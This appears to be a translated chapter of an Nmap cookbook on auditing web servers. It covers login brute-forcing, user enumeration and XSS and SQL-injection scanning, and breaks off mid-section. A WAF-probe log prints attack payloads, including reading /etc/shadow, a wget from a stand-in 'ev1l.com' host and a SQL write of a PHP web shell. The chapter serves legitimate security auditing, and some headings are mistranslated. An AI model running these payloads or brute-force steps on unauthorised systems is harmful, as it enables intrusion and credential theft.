NMAP:网络探索和安全审计手册 Chapter4 扫描网络服务器

本章包括以下内容:

  • 列出支持的 HTTP 方法

  • 检查网络服务器是否为开放代理

  • 发现网络服务器中有趣的文件和文件夹

  • 滥用 mod_userdir 枚举用户账户

  • 暴力破解 HTTP 身份验证

  • 暴力破解网络应用程序

  • 检测网络应用程序防火墙

  • 检测可能的 XST 漏洞

  • 检测 XSS 漏洞

  • 查找 SQL 注入漏洞

  • 检测易受 slowloris 拒绝服务攻击的网络服务器

  • 查找具有默认凭据的网络应用程序

  • 检测易受 Shellshock 攻击的网络应用程序

  • 检测不安全的跨域策略

  • 检测暴露的源代码控制系统

  • 审计 SSL 服务器中密码套件的强度

  • 从网络服务器中删除电子邮件账户

Introduction

超文本传输协议(HTTP)可以说是当今最流行的协议之一。网络服务器已从提供静态页面转变为处理与用户交互的复杂网络应用程序。

这就为有污点的用户输入打开了方便之门,用户输入可能会改变应用程序的逻辑,从而执行非预期的操作。现代网络开发框架使几乎所有具备一定编程知识的人都能在几分钟内制作出网络应用程序,但这也导致互联网上易受攻击的应用程序增多。适用于 Nmap 脚本引擎的 HTTP 脚本数量迅速增加,Nmap 也因此成为了一种宝贵的网络扫描工具,可以帮助渗透测试人员自动执行大量繁琐的手动检查。Nmap 不仅可以用来查找易受攻击的 Web 应用程序或检测错误的配置设置,而且由于有了新的 spidering 库,Nmap 甚至可以抓取 Web 服务器,寻找各种有趣的信息。

本章主要介绍使用 Nmap 审计 Web 服务器,从自动配置检查到利用易受攻击的 Web 应用程序。我将介绍去年开发的一些 NSE 脚本,这些脚本是我在 Websec 进行网络渗透测试时每天都要用到的。 本章涵盖的任务包括检测数据包过滤系统、暴力密码审计、文件和目录发现以及漏洞利用。

本章中展示的大多数脚本都使用了 NSE 库 http 和 httpspider。这些库具有很高的可配置性。请阅读附录 A "HTTP、HTTP 流水线和 Web 抓取配置选项",了解更多可用高级选项的信息。

列出支持的 HTTP 方法

网络服务器的配置和软件支持不同的 HTTP 方法,其中有些方法在某些情况下可能会有危险。系统管理员和渗透测试人员需要一种快速列出可用方法的方法。Nmap NSE 有几个脚本不仅能让我们列出这些潜在的危险方法,还能测试它们是否可以访问。

本食谱向您展示如何使用 Nmap 枚举网络服务器支持的所有 HTTP 方法。

How to do it...

打开终端,输入以下命令

$ nmap -p80,443 --script http-methods,http-trace --script-args http-methods.test-all=true <target> 

结果将包括在端口 80 或 443 上检测到的每个网络服务器的支持方法:

$ nmap -p80--script http-methods,http-trace --script-args http-methods.test -all=true 127.0.0.1 
 Nmap scan report for localhost (127.0.0.1) 
 Host is up (0.000042s latency). 
 PORT STATE SERVICE 
 80/tcpopen http 
 | http-methods: 
 | Supported Methods: GET HEAD POST OPTIONS CONNECT 
 |_ Potentially risky methods: CONNECT 
 Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds 

有潜在风险的方法将在结果中做相应标记。

How it works...

Nmap 选项 -p80,443 --script http-methods,http-trace --script-args http-methods.test-all=true 使 Nmap 在发现端口为 80 或 443 的网络服务器时启动 http-methods 和 http-trace 脚本 (-p80,443)。NSE 脚本 http-methods 由 Bernd Stroessenreuther 提交,它使用预定义的方法列表(其中一些方法可能有风险)来确定网络服务器支持的方法。

网络服务器采用 HTTP 方法 OPTIONS 来告知客户端其支持的方法。请记住,这种方法并不考虑配置或防火墙规则,OPTIONS 列出的方法并不一定意味着你可以访问它。因此,如果设置了脚本参数 test-all,脚本 http-methods 将单独尝试 GET、HEAD、POST、OPTIONS、TRACE、DELETE、CONNECT 和 PUT 方法。另一方面,脚本 http-trace 会使用 HTTP TRACE 请求,并返回响应中修改过的任何标头字段。

There's more...

要单独检查方法的状态代码响应,请使用脚本参数 http-methods.retest:

$nmap -p80,443 --script http-methods --script-args http-methods.retest <target> 

请看下面的例子:

$ nmap -p80 --script http-methods --script-args http-methods.retest localhost 
 Nmap scan report for localhost (127.0.0.1) 
 Host is up (0.000040s latency). 
 PORT STATE SERVICE 
 33070/tcpopen unknown 
 | http-methods: 
 | Supported Methods: GET HEAD POST OPTIONS CONNECT 
 | Potentially risky methods: CONNECT 
 | Status Lines: 
 | GET: HTTP/1.1 200 OK 
 | OPTIONS: HTTP/1.1 200 OK 
 | HEAD: HTTP/1.1 200 OK 
 | POST: HTTP/1.1 200 OK 
 |_ CONNECT: HTTP/1.1 400 Bad Request 
 Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds 

默认情况下,脚本 http-methods 使用根文件夹作为基本路径 (/)。如果希望设置不同的基本路径,请设置参数 http-methods.url-path:

# nmap -p80,443 --script http-methods --script-args http-methods.url-path=/mypath/ <target> 

让我们扫描一个运行在 80 端口并使用 /webdav/ 路径的网络服务器:

# nmap -p80 --script http-methods --script-args http-methods.url-path=/mypath/ localhost 
 Nmap scan report for localhost (127.0.0.1) 
 Host is up (0.000037s latency). 
 PORT STATE SERVICE 
 80/tcp open http 
 | http-methods: 
 | Supported Methods: GET HEAD POST OPTIONS CONNECT 
 | Potentially risky methods: CONNECT 
 | Path tested: /webdav/ 
 | Status Lines: 
 | CONNECT: HTTP/1.1 400 Bad Request 
 | HEAD: HTTP/1.1 404 Not Found 
 | GET: HTTP/1.1 404 Not Found 
 | POST: HTTP/1.1 404 Not Found 
 |_ OPTIONS: HTTP/1.1 200 OK 
 Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds 

有趣的 HTTP 方法

HTTP方法TRACE、CONNECT、PUT和DELETE可能会带来安全风险,如果网络服务器或应用程序支持这些方法,则需要对它们进行全面测试。

TRACE 会使应用程序容易受到跨站跟踪 (XST) 攻击,并可能导致攻击者访问标记为 httpOnly 的 cookies。CONNECT 方法可能会使网络服务器被用作未经授权的网络代理。PUT 和 DELETE 方法可以更改文件夹的内容,如果权限设置不当,显然会被滥用。

您可以在 https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_(OWASP-CM-008) 上了解与每种方法相关的常见风险。

检查网络服务器是否为开放代理

HTTP 代理服务器用于通过其地址发出请求,从而向目标隐藏我们的真实 IP 地址。如果你是一个需要确保网络安全的系统管理员,或者是一个想要欺骗你的真实来源的攻击者,那么检测它们就非常重要。配置错误的网络服务器比我们想象的更常见,如果暴露在外,就会被攻击者滥用。

本食谱将向您展示如何使用 Nmap 检测打开的 HTTP 代理。

How to do it...

打开终端,输入以下命令

$ nmap --script http-open-proxy -p8080 <target> 

结果包括成功测试的 HTTP 方法,以及代理是否确实暴露:

 PORT STATE SERVICE 
 8080/tcp open http-proxy 
 | proxy-open-http: Potentially OPEN proxy. 
 |_ Methods successfully tested: GET HEAD CONNECT 

How it works...

我们使用 Nmap 选项 --script http-open-proxy -p8080 来启动 NSE 脚本 http-open-proxy,如果发现有网络服务器在 8080 端口(HTTP 代理的常用端口)上运行。

NSE 脚本 http-open-proxy 由 Arturo Buanzo Busleiman 提交,顾名思义,它是用来检测开放代理的。默认情况下,它会请求 https://www.google.co.in/?gfe_rd=cr&ei=7cYSWafqDOfy8AeikZ_oAQ&gws_rd=ssl、https://www.wikipedia.org/http://www.computerhistory.org/,并查找已知的文本模式,以确定目标网络服务器上是否运行着开放的 HTTP 代理。

There's more...

您可以使用脚本参数 http-open-proxy.url 和 http-open-proxy.pattern,请求不同的 URL 并指定连接成功后返回的模式:

$nmap --script http-open-proxy --script-args http-open-proxy.url=http://whatsmyip.org,http-open-proxy.pattern="Your IP address is" -p8080 <target> 

在网络服务器中发现有趣的文件和文件夹

渗透测试中无法手动完成的常见任务之一是发现网络服务器中托管的文件和目录。有几种工具可用于这项任务,但 Nmap 因其强大的数据库而大放异彩,该数据库涵盖有趣的文件,如README、数据库转储和被遗忘的配置备份;常见目录,如管理面板或未受保护的文件上传程序;甚至是攻击有效载荷,以利用常见的、易受攻击的网络应用程序中的目录遍历。NSE 脚本 http-enum 还支持高级模式匹配,可以识别网络应用程序的特定版本。

本食谱将向您展示如何使用 Nmap 进行网络扫描,以发现有趣的文件、目录甚至易受攻击的网络应用程序。

How to do it...

打开终端,输入以下命令

$ nmap --script http-enum -p80 <target> 

结果将包括找到的所有有趣文件、目录和应用程序:

 PORT STATE SERVICE 
 80/tcp open http 
 | http-enum: 
 | /blog/: Blog 
 | /test.php: Test page 
 | /robots.txt: Robots file 
 | /css/cake.generic.css: CakePHP application 
 | /img/cake.icon.png: CakePHP application 
 |_ /server-status/: Potentially interesting folder 

How it works...

Nmap 选项 -p80 --script http-enum 告诉 Nmap,如果在 80 端口发现网络服务器,就启动脚本 http-enum。脚本 http-enum 最初是由 Ron Bowes 提交的,其主要目的是发现目录,但社区一直在添加新的指纹,以包括其他有趣的文件,如版本文件、README 和被遗忘的数据库备份。我还添加了 250 多个条目,用于识别过去两年中存在漏洞的网络应用程序,而且还在不断添加新条目。它的最新更新包括加载 Nikto 数据库的功能。你永远不知道网络服务器中还有什么被遗忘了。

 PORT STATE SERVICE
 80/tcp open http
 | http-enum:
 |_ /crossdomain.xml: Adobe Flash crossdomain policy
 PORT STATE SERVICE
 80/tcp open http
 | http-enum:
 | /administrator/: Possible admin folder
 | /administrator/index.php: Possible admin folder
 | /home.html: Possible admin folder
 | /test/: Test page
 | /logs/: Logs
 |_ /robots.txt: Robots file

There's more...

指纹存储在 /nselib/data/ 中的 http-fingerprints.lua 文件中,它们是 LUA 表。条目如下

table.insert(fingerprints, {
 category='cms',
 probes={
 {path='/changelog.txt'},
 {path='/tinymce/changelog.txt'},
 },
 matches={
 {match='Version (.-) ', output='Version \\1'},
 {output='Interesting, a changelog.'}
 }
})

您可以在此文件中添加自己的条目,或使用参数 http-enum.fingerprintfile,使用不同的指纹文件:

$ nmap --script http-enum --script-args http-enum.fingerprintfile=./myfingerprints.txt -p80 <target> 

默认情况下,http-enum 使用根目录作为基本路径。要设置不同的基本路径,请使用脚本参数 http-enum.basepath:

$ nmap --script http-enum --script-args http-enum.basepath=/web/ -p80 <target> 

要显示所有返回状态代码可能表明页面存在的条目,请使用脚本参数 http-enum.displayall:

$ nmap --script http-enum --script-args http-enum.displayall -p80 <target> 

使用 Nikto 数据库

Nikto 的合著者克里斯-苏洛(Chris Sullo)提出了一个有趣的功能,并在 NSE 中实现了该功能。脚本 http-enum 现在支持解析 Nikto 数据库文件。脚本将条目动态转换为 Lua 表格,并将尚未存在的条目添加到现有的指纹数据库中。使用脚本参数 http-enum.nikto-db-path,可以使用 Nikto 数据库:

$ nmap --script http-enum --script-args http-enum.nikto-db-path=<Path to Nikto DB file> -p80 <target> 

滥用 mod_userdir 枚举用户账户

Apache 的 userdir 模块可通过使用 /~username/ 语法的 URI 访问用户目录。使用 Nmap,我们可以执行字典攻击,远程确定系统上的有效用户名列表。

本食谱向您展示如何让 Nmap 执行暴力攻击,以枚举启用 mod_userdir 的 Apache 网络服务器中的用户账户。

How to do it...

要尝试使用 mod_userdir 枚举网络服务器中的有效用户,请使用以下命令:

$ nmap -p80 --script http-userdir-enum <target> 

所有找到的用户都将包含在结果中:

 PORT STATE SERVICE 
 80/tcp open http 
 |_http-userdir-enum: Potential Users: root, web, test 

How it works...

Nmap 选项 -p80 --script http-userdir-enum 会在发现 80 端口(-p80)的网络服务器时启动 NSE 脚本 http-userdir-enum。带有 mod_userdir 的 Apache 网络服务器允许使用 URI(如 http://domain.com/~root/)访问用户目录,该脚本可帮助我们执行字典攻击以枚举有效用户。

首先,脚本查询一个不存在的目录,记录无效页面的状态响应。然后,脚本会尝试字典文件(nselib/data/usernames.lst)中的每个单词,测试 URI 并查找表示有效用户名的 HTTP 状态代码 200 或 403。

There's more...

http-userdir-enum 脚本默认使用位于 /nselib/data/ 的单词列表 usernames.lst,但也可以通过设置参数 userdir.users 使用不同的文件,如以下命令所示:

$ nmap -p80 --script http-userdir-enum --script-
argsuserdir.users=./users.txt <target> 
 PORT STATE SERVICE 
 80/tcp open http 
 |_http-userdir-enum: Potential Users: noemi, martha 

如果希望限制尝试请求的数量,请使用脚本参数 limit:

$ nmap -p80 --script http-userdir-enum --script-args limit=100 <target> 

暴力破解 HTTP 身份验证

如今,许多家用路由器、IP 网络摄像头和网络应用程序仍然依赖 HTTP 身份验证,作为系统管理员或渗透测试人员,我们需要确保系统或用户账户没有使用弱凭据。现在,有了 NSE 脚本 http-brute,我们可以对 HTTP 基本、摘要和 NTLM 身份验证执行强大的字典攻击。

本教程展示了如何对使用 HTTP 身份验证的网络服务器进行密码暴力审核。

How to do it...

使用以下 Nmap 命令对受 HTTP 基本身份验证保护的资源执行暴力密码审计:

$ nmap -p80 --script http-brute <target> 

结果将返回找到的所有有效账户(如果有):

 PORT STATE SERVICE REASON 
 80/tcp open http syn-ack 
 | http-brute: 
 | Accounts 
 | admin:secret => Valid credentials 
 | Statistics 
 |_ Perfomed 603 guesses in 7 seconds, average tps: 86 

How it works...

Nmap 选项 -p80 --script http-brute 告诉 Nmap 针对运行在 80 端口的 web 服务器启动 http-brute 脚本。该脚本最初由 Patrik Karlsson 提交,用于对受 HTTP 身份验证保护的 URI 发起字典攻击。

http-brute 脚本默认使用位于 /nselib/data/ 的数据库文件 usernames.lst 和 passwords.lst,尝试每个用户的每个密码,希望能找到一个有效的账户。

There's more...

脚本 http-brute 依赖于 NSE 库 unpwdb 和 brute。更多信息请阅读附录 B "暴力密码审计选项"。

要使用不同的用户名和密码列表,请设置参数 userdb 和 passdb:

$ nmap -p80 --script http-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target> 

要在找到一个有效账户后退出,请使用参数 brute.firstOnly:

$ nmap -p80 --script http-brute --script-args brute.firstOnly <target> 

默认情况下,http-brute 使用 Nmap 的定时模板设置以下超时限制:

  • -T3,T2,T1: 10 minutes
  • -T4: 5 minutes
  • -T5: 3 minutes

要设置不同的超时限制,请使用参数 unpwd.timelimit。要无限期运行,请将其设置为 0:

$ nmap -p80 --script http-brute --script-argsunpwdb.timelimit=0 <target> 
$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=60m <target> 

Brute modes

暴力库支持不同的模式,可改变攻击中使用的组合。可用的模式有

  • user: 在这种模式下,userdb 中列出的每个用户,passdb 中的每个密码都会被尝试:

    $ nmap --script http-brute --script-args brute.mode=user <target> 
    
  • pass: 在这种模式下,passdb 中列出的每个密码都会尝试使用 userdb 中的每个用户:

    $ nmap --script http-brute --script-args brute.mode=pass <target> 
    
  • creds: 该模式需要额外的参数 brute.creditfile:

    $ nmap --script http-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target> 
    

暴力破解网络应用程序

对网络应用程序进行暴力密码审计是评估系统账户密码强度的必要步骤。有一些功能强大的工具,如 THC Hydra,但 Nmap 具有极大的灵活性,因为它完全可配置,并包含一个流行网络应用程序数据库,如 WordPress、Joomla!、Django、Drupal、MediaWiki 和 WebSphere。

本食谱展示了如何使用 Nmap 针对流行的和自定义的网络应用程序执行暴力密码审计。

How to do it...

使用以下 Nmap 命令对使用表单的网络应用程序执行暴力密码审计:

$ nmap --script http-form-brute -p 80 <target> 

如果找到证书,则会在结果中显示:

 PORT STATE SERVICE REASON
 80/tcp open http syn-ack
 | http-form-brute:
 | Accounts
 | user:secret - Valid credentials
 | Statistics
 |_ Perfomed 60023 guesses in 467 seconds, average tps: 138

How it works...

Nmap 选项 -p80 --script http-form-brute 告诉 Nmap 针对运行在 80 端口的网络服务器启动 http-form-brute 脚本。该脚本最初由 Patrik Karlsson 提交,用于对基于网络表单的身份验证系统发起字典攻击。脚本会自动尝试检测身份验证所需的表单字段,并在表单检测阶段使用流行网络应用程序的内部数据库提供帮助。

There's more...

http-form-brute 脚本依赖于对表单字段的正确检测。通常需要通过脚本参数手动设置包含用户名和密码变量的字段名称。如果设置了脚本参数 http-form-brute.passvar,则不会执行表单检测:

$ nmap -p80 --script http-form-brute --script-args http-form-brute.passvar=contrasenia,http-form-brute.uservar=usuario <target> 

与此类似,通常需要设置脚本参数 http-form-brute.onsuccess 或 http-form-brute.onfailure,以设置尝试身份验证时返回的成功/错误信息:

$nmap -p80 --script http-form-brute --script-args http-form-brute.onsuccess=Exito <target> 

强行安装 WordPress

如果您的目标是流行的应用程序,请记得检查是否有专门攻击它们的 NSE 脚本。例如,可以使用脚本 http-wordpress-brute 对 WordPress 安装进行审计:

$ nmap -p80 --script http-wordpress-brute <target> 

要设置线程数,请使用脚本参数 http-wordpress-brute.threads:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=5 <target> 

如果服务器有虚拟主机,请使用参数 http-wordpress-brute.hostname 设置主机字段:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.hostname="ahostname.wordpress.com" <target> 

要设置不同的登录 URI,请使用参数 http-wordpress-brute.uri:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uri="/hidden-wp-login.php" <target> 

要更改存储用户名和密码的 POST 变量的名称,请设置参数 http-wordpress-brute.uservar 和 http-wordpress-brute.passvar:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uservar=usuario,http-wordpress-brute.passvar=pasguord <target> 

强制安装 WordPress

http-joomla-brute 是另一个专门的 NSE 强制脚本范例。该脚本旨在对 Joomla!安装执行暴力密码审计。默认情况下,我们针对 HTTP 的通用暴力脚本将对 Joomla!CMS 执行失败,因为应用程序会动态生成安全令牌,但该 NSE 脚本会自动获取安全令牌并将其包含在登录请求中。使用以下 Nmap 命令启动脚本:

$ nmap -p80 --script http-joomla-brute <target> 

要设置线程数,请使用脚本参数 http-joomla-brute.threads:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.threads=5 <target> 

要更改存储登录信息的 POST 变量的名称,请设置参数 http-joomla-brute.uservar 和 http-joomla-brute.passvar:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.uservar=usuario,http-joomla-brute.passvar=pasguord <target> 

检测网络应用程序防火墙

网络服务器通常受到数据包过滤系统的保护,这些系统会丢弃或重定向可疑的恶意数据包。如果网络渗透测试人员知道在他们和目标应用程序之间有一个流量过滤系统,他们就会受益匪浅。如果是这种情况,他们就可以尝试更罕见或隐蔽的技术,试图绕过 Web 应用程序防火墙 (WAF) 或入侵防御系统 (IPS)。

本食谱演示了如何使用 Nmap 检测 Web 应用程序前的 WAF 或 IPS 等数据包过滤系统。

How to do it...

  1. 要检测 WAF 或 IPS,请使用以下命令:

    $ nmap -p80 --script http-waf-detect,http-waf-fingerprint <target> 
    
  2. 脚本 http-waf-detect 会让你知道是否检测到数据包过滤系统:

     PORT STATE SERVICE 
     80/tcp open http 
     |_http-waf-detect: IDS/IPS/WAF detected
    
  3. 脚本 http-waf-fingerprint 将返回已识别的产品名称:

     PORT STATE SERVICE REASON 
     80/tcp open http syn-ackttl 58 
     | http-waf-fingerprint: 
     | Detected WAF 
     |_ Cloudflare 
    

How it works...

Nmap 选项 -p80 --script http-waf-detect,http-waf-fingerprint 启动 NSE 脚本 http-waf-detect 和 http-waf-fingerprint 检查是否有网络服务器在 80 端口运行。我开发 http-waf-detect 的目的是确定带有恶意有效载荷的 HTTP 请求是否被 WAF 或 IPS 过滤,而 Hani Benhabiles 开发的脚本 http-waf-fingerprint 则试图通过探测来识别 WAF 产品。

脚本 http-waf-detect 的工作原理是保存安全 HTTP GET 请求的状态代码和可选的页面正文,并将其与包含最常见网络应用程序漏洞攻击有效载荷的请求进行比较。由于每个恶意有效载荷都存储在一个奇怪的变量名中,因此网络应用程序不太可能使用它,只有数据包过滤系统才会做出反应并更改任何返回的状态代码,从而可能接收到 HTTP 状态代码 403(禁止)或页面内容。

http-waf-detect 脚本使用一个指纹数据库,用于识别响应中的特殊标头和 cookie,以尝试识别 ImpervaIncapsula、Cloudflare、USP-SES、Cisco ACE XML Gateway 和 ModSecurity 等产品。

There's more...

要检测响应体中的变化,请使用参数 http-waf-detect.detectBodyChanges。我建议您在处理动态内容较少的页面时启用它:

$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges" <target> 

若要包含更多嘈杂的攻击有效载荷,请使用脚本参数 http-waf-detect.aggro。

这种模式会产生更多 HTTP 请求,但也会触发更多产品的响应:

$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro"
<target>
 Initiating NSE at 23:03
 NSE: http-waf-detect: Requesting URI /abc.php
 NSE: Final http cache size (1160 bytes) of max size of 1000000
 NSE: Probing with payload:? 
 p4yl04d=../../../../../../../../../../.
 ./../../../../../../etc/passwd
 NSE: Probing with payload:? 
 p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name
 %20FROM%20informat ion_schema.tables
 NSE: Probing with payload:?p4yl04d3=<script>alert(document.cookie) 
 </script>
 NSE: Probing with payload:?p4yl04d=cat%20/etc/shadow
 NSE: Probing with payload:?p4yl04d=id;uname%20-a
 NSE: Probing with payload:?p4yl04d=<?php%20phpinfo();%20?>
 NSE: Probing with payload:?p4yl04d='%20OR%20'A'='A
 NSE: Probing with payload:?p4yl04d=http://google.com
 NSE: Probing with payload:?p4yl04d=http://evilsite.com/evilfile.php
 NSE: Probing with payload:?p4yl04d=cat%20/etc/passwd
 NSE: Probing with payload:?p4yl04d=ping%20google.com
 NSE: Probing with payload:?p4yl04d=hostname%00
 NSE: Probing with payload:?p4yl04d= 
 <img%20src='x'%20onerror=alert(document.cookie)%20/>
 NSE: Probing with payload:?p4yl04d=wget%20http://ev1l.com/xpl01t.txt
 NSE: Probing with payload:?p4yl04d=UNION%20SELECT%20'<? 
 %20system($_GET['command']);%20? 
 >',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--

同样,脚本 http-waf-fingerprint 的脚本参数 http-waf-

fingerprint.intensive,以增加要使用的探测次数。

$ nmap -p80 --script http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 <target> 

要为探针设置不同的 URI,请设置参数 http-waf-fingerprint.root 和 http-waf-detect.uri:

$ nmap -p80 --script http-waf-detect --script-args http-waf-detect.uri=/webapp/,http-waf-fingerprint.root=/webapp/ <target> 

检测可能的 XST 漏洞

XST 漏洞是由于启用了 HTTP 方法 TRACE 的网络服务器中存在跨站脚本 (XSS) 漏洞造成的。这种技术主要用于绕过 httpOnly 指令施加的 cookie 限制。渗透测试人员可以使用 Nmap 快速确定网络服务器是否启用了 TRACE 方法,从而节省时间。

本食谱介绍了如何使用 Nmap 检查 HTTP TRACE 是否已启用,并因此易受可能的 XST 漏洞影响。

How to do it...

  1. 打开终端,输入以下命令

    $ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target> 
    
  2. 如果 TRACE 已启用并可访问,我们应该会看到类似下面的内容:

     PORT STATE SERVICE
     80/tcp open http
     |_http-trace: TRACE is enabled
     | http-methods: GET HEAD POST OPTIONS TRACE
     | Potentially risky methods: TRACE
     | See http://nmap.org/nsedoc/scripts/http-methods.html
     | GET / -> HTTP/1.1 200 OK
     |
     | HEAD / -> HTTP/1.1 200 OK
     |
     | POST / -> HTTP/1.1 200 OK
     |
     | OPTIONS / -> HTTP/1.1 200 OK
     |
     |_TRACE / -> HTTP/1.1 200 OK
    
  3. 否则,http-trace 不会返回任何内容,而 TRACE 也不会列在 http-methods 下:

     PORT STATE SERVICE
     80/tcp open http
     | http-methods: GET HEAD POST OPTIONS
     | GET / -> HTTP/1.1 200 OK
     |
     | HEAD / -> HTTP/1.1 200 OK
     |
     | POST / -> HTTP/1.1 200 OK
     |
     |_OPTIONS / -> HTTP/1.1 200 OK
     Nmap done: 1 IP address (1 host up) scanned in 14.41 seconds
    

How it works...

Nmap 选项 -p80 --script http-methods、http-trace --script-args http-methods.retest 命令 Nmap 在检测到网络服务器时在 80 端口启动 NSE 脚本 http-methods 和 http-trace,并单独测试 HTTP OPTIONS 请求返回的每种方法。

http-methods 由 Bernd Stroessenreuther 提交,它发送 OPTIONS 请求,以枚举网络服务器支持的方法。脚本参数 retest 会单独测试每个可用的方法,并返回响应代码。

脚本 http-trace 由我编写,目的是检测 HTTP 方法 TRACE 的可用性。它只需发送 TRACE 请求,并查找状态 200 代码,或者服务器回传相同的请求。这种特殊请求产生的不同头信息会被返回,因为它们可能会泄露敏感信息。

There's more...

通过设置脚本参数 http-methods.retest,我们可以测试 OPTIONS 列出的每种 HTTP 方法,并分析返回值,以确定 TRACE 是否可访问,且未被防火墙或配置规则阻止。

$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target>
 PORT STATE SERVICE
 80/tcp open http
 |_http-trace: TRACE is enabled
 | http-methods: GET HEAD POST OPTIONS TRACE
 | Potentially risky methods: TRACE
 | See http://nmap.org/nsedoc/scripts/http-methods.html
 | GET / -> HTTP/1.1 200 OK
 |
 | HEAD / -> HTTP/1.1 200 OK
 |
 | POST / -> HTTP/1.1 200 OK
 |
 | OPTIONS / -> HTTP/1.1 200 OK
 |
 |_TRACE / -> HTTP/1.1 200 OK

请记住,TRACE 方法可能已启用,但未在 OPTIONS 中列出,因此在运行脚本 http-methods 时必须使用脚本选项,如 http-methods.retest 或 http-methods.test-all。

使用参数 http-trace.path 和 http-methods.url-path,请求与根文件夹 (/) 不同的路径:

$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest,http-trace.path=/secret/,http-methods.url-path=/secret/ <target> 

检测 XSS 漏洞

XSS 漏洞允许攻击者欺骗内容、窃取用户 cookie,甚至在用户浏览器上执行恶意代码。甚至还有一些高级利用框架,如 Beef,允许攻击者通过 JavaScript 钩子执行复杂的攻击。网络渗透测试人员可以使用 Nmap 自动发现网络服务器中的这些漏洞。

本教程介绍如何使用 Nmap NSE 发现 Web 应用程序中的 XSS 漏洞。

How to do it...

  1. 要扫描网络服务器以查找易受 XSS 影响的文件,我们可以使用以下命令:

    $ nmap -p80 --script http-unsafe-output-escaping

  2. 所有被怀疑存在漏洞的文件都将被列入结果中:

     PORT STATE SERVICE REASON
     80/tcp open http syn-ack
     | http-unsafe-output-escaping:
     |_ Characters [> " '] reflected in parameter id at 
     http://target/1.php?id=1
    

    脚本输出还将包括易受攻击的参数以及未经过滤或编码而返回的字符。

  3. 如果使用的是 PHP 服务器,请运行以下 Nmap 命令:

    $nmap -p80 --script http-phpself-xss,http-unsafe-output-escaping <target> 
    

    针对带有易受攻击文件的网络服务器,您会看到与下面类似的输出:

     PORT STATE SERVICE REASON
     80/tcp open http syn-ack
     | http-phpself-xss:
     | VULNERABLE:
     | Unsafe use of $_SERVER["PHP_SELF"] in PHP files
     | State: VULNERABLE (Exploitable)
     | Description:
     | PHP files are not handling safely the variable 
     $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting 
     vulnerabilities.
     |
     | Extra information:
     |
     | Vulnerable files with proof of concept:
     |
     http://calder0n.com/sillyapp/three.php/%27%22/%3E%
     3Cscript%3Ealert(1)%3C/script%3E
     | 
     http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E
     %3Cscript%3Ealert(1)%3C/script%3E
     |
     http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%
     3Ealert(1)%3C/script%3E
     |
     http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3C
     script%3Ealert(1)%3C/script%3E
     | Spidering limited to: maxdepth=3; maxpagecount=20;
     withinhost=calder0n.com
     | References:
     | http://php.net/manual/en/reserved.variables.server.php
     |_ https://www.owasp.org/index.php/Cross-
     site_Scripting_(XSS)
     | http-unsafe-output-escaping:
     |_ Characters [> " '] reflected in parameter hola at 
     http://calder0n.com/sillyapp/secret/1.php?hola=1
    

How it works...

http-unsafe-output-escaping 脚本由 Martin Holst Swende 编写,它通过对网络服务器进行蜘蛛搜索,检测网络应用程序根据用户输入返回输出的方式是否存在问题。脚本在所有参数中插入以下有效载荷,并找到字符串:

ghz%3Ehzx%22zxc%27xcv 

此有效载荷旨在检测可能导致 XSS 漏洞的字符。需要手动验证才能确认该脚本报告的任何结果。

我编写 http-phpself-xss 脚本的目的是检测由于缺乏对 $_SERVER["PHP_SELF"'] 变量的限制而导致的 XSS 漏洞。脚本会抓取网络服务器,找到所有扩展名为 .php 的文件,并在每个 URI 上附加以下有效负载:

/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 

如果网站上出现了相同的模式,则说明某个页面正在不安全地使用变量 $_SERVER["PHP_SELF"]。

关于脚本 http-unsafe-out-escaping 和 http-phpself-xss 的官方文档,请访问以下 URL:

https://nmap.org/nsedoc/scripts/http-phpself-xss.html

https://nmap.org/nsedoc/scripts/http-unsafe-output-escaping.html

There's more...

脚本 http-xssed 可查询在线数据库 http://xssed.com/,这是存在 XSS 漏洞的网站的最大档案库。使用以下命令检查您要扫描的网络服务器是否曾被报告过:

$ nmap -p80 --script http-xssed <target>
 PORT STATE SERVICE REASON
 80/tcp open http syn-ack
 | http-xssed:
 | xssed.com found the following previously reported XSS 
 vulnerabilities marked as unfixed:
 |
 | /redirect/links.aspx?page=http://xssed.com
 |
 | /derefer.php?url=http://xssed.com/
 |
 | xssed.com found the following previously reported XSS
 vulnerabilities marked as fixed:
 |
 |_ /myBook/myregion.php?targetUrl=javascript:alert(1);

查找 SQL 注入漏洞

SQL 注入漏洞是由于缺乏对用户输入的限制而造成的,它允许攻击者执行数据库管理系统查询,从而危及整个系统。这种类型的网络漏洞非常常见,由于每个脚本变量都必须经过测试,因此检查此类漏洞是一项非常繁琐的任务。幸运的是,我们可以使用 Nmap 快速扫描网络服务器,查找 SQL 注入漏洞。

本食谱介绍如何使用 Nmap NSE 查找网络应用程序中的 SQL 注入漏洞。

How to do it...

要使用 Nmap 查找网络服务器中的 SQL 注入漏洞,请使用以下命令:

$ nmap -p80 --script http-sql-injection <target> 

所有易受攻击的文件都会显示,并附带使用的有效载荷:

 PORT STATE SERVICE 
 80/tcp open http syn-ack 
 | http-sql-injection: 
 | Possible sqli for queries: 
 |_ http://xxx/index.php?param=13'%20OR%20sqlspider 

How it works...

